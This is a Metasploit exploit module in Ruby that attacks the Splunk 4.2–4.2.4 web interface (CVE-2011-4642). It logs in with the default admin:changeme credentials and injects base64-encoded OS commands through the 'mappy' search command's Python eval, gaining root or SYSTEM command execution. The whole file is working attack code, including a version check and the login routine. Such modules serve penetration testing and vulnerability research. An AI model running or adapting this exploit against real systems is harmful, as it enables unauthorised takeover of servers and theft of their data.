##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Splunk Search Remote Code Execution',
			'Description'    => %q{
				This module abuses a command execution vulnerability in the
				web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
				in the 'mappy' search command which allows attackers to run Python code.
				To exploit this vulnerability, a valid Splunk user with the admin
				role is required. By default, this module uses the credential of "admin:changeme",
				the default Administrator credential for Splunk. Note that the Splunk web interface
				runs as SYSTEM on Windows and as root on Linux by default.
			},
			'Author'         =>
				[
					"Gary O'Leary-Steele", # Vulnerability discovery and exploit
					"juan vazquez"         # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '77695' ],
					[ 'BID', '51061' ],
					[ 'CVE', '2011-4642' ],
					[ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ],
					[ 'URL', 'http://www.sec-1.com/blog/?p=233' ],
					[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ],
					[ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ]
				],
			'Payload'        =>
				{
					'Space'       => 1024,
					'Badchars'    => '',
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[
						'Universal CMD',
						{
							'Arch'     => ARCH_CMD,
							'Platform' => ['unix', 'win', 'linux']
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 12 2011'))

			register_options(
				[
					Opt::RPORT(8000),
					OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
					OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ])
				], self.class)
	end

	def exploit
		@username = datastore['USERNAME']
		@password = datastore['PASSWORD']
		@auth_cookies = ''
		p = payload.encoded
		print_status("Using command: #{p}")
		cmd = Rex::Text.encode_base64(p)

		print_status("Attempting to login...")
		do_login

		send_request_cgi(
		{
			'uri'     => '/en-US/api/search/jobs',
			'method'  => 'POST',
			'cookie'  => @auth_cookies,
			'headers' =>
				{
					'X-Requested-With' => 'XMLHttpRequest',
					'X-Splunk-Session' => @auth_cookies.split("=")[1]
				},
			'vars_post' =>
				{
					'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")",
					'status_buckets' => "300",
					'earliest_time' => "0",
					'latest_time' => ""
				}
		}, 25)
		handler
	end

	def check
		res = send_request_cgi(
		{
			'uri'     => '/en-US/account/login',
			'method'  => 'GET'
		}, 25)

		if res and res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def do_login
		res = send_request_cgi(
		{
			'uri'     => '/en-US/account/login',
			'method'  => 'GET'
		}, 25)

		cval = ''
		uid = ''
		session_id_port =
		session_id = ''
		if res and res.code == 200 and res.headers['Set-Cookie']
			res.headers['Set-Cookie'].split(';').each {|c|
				c.split(',').each {|v|
					if v.split('=')[0] =~ /cval/
						cval = v.split('=')[1]
					elsif v.split('=')[0] =~ /uid/
						uid = v.split('=')[1]
					elsif v.split('=')[0] =~ /session_id/
						session_id_port = v.split('=')[0]
						session_id = v.split('=')[1]
					end
				}
			}
		else
			fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
		end

		res = send_request_cgi(
		{
			'uri'     => '/en-US/account/login',
			'method'  => 'POST',
			'cookie'  => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
			'vars_post' =>
				{
					'cval' => cval,
					'username' => @username,
					'password' => @password
				}
		}, 25)

		if not res or res.code != 303
			fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
		else
			session_id_port = ''
			session_id = ''
			res.headers['Set-Cookie'].split(';').each {|c|
				c.split(',').each {|v|
					if v.split('=')[0] =~ /session_id/
						session_id_port = v.split('=')[0]
						session_id = v.split('=')[1]
					end
				}
			}
			@auth_cookies = "#{session_id_port}=#{session_id}"
		end

	end

end
